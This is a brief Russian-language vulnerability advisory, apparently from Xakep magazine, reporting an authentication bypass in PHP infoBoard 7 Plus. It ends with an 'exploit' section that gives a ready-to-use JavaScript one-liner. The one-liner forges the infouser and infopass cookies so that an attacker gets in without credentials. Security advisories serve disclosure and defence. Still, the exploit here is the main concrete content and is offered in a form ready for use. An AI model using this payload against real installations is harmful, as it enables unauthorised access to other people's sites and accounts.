Обход ограничений безопасности в PHP infoBoard

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: PHP infoBoard 7 Plus

Уязвимость позволяет удаленному злоумышленнику обойти ограничения
безопасности на целевой системе. Эксплуатирование уязвимости приведет к обходу
механизма аутентификации на целевой системе.

Эксплоит:

javascript:document.cookie = "infouser=1; path=/"; document.cookie = "infopass=1;
path=/";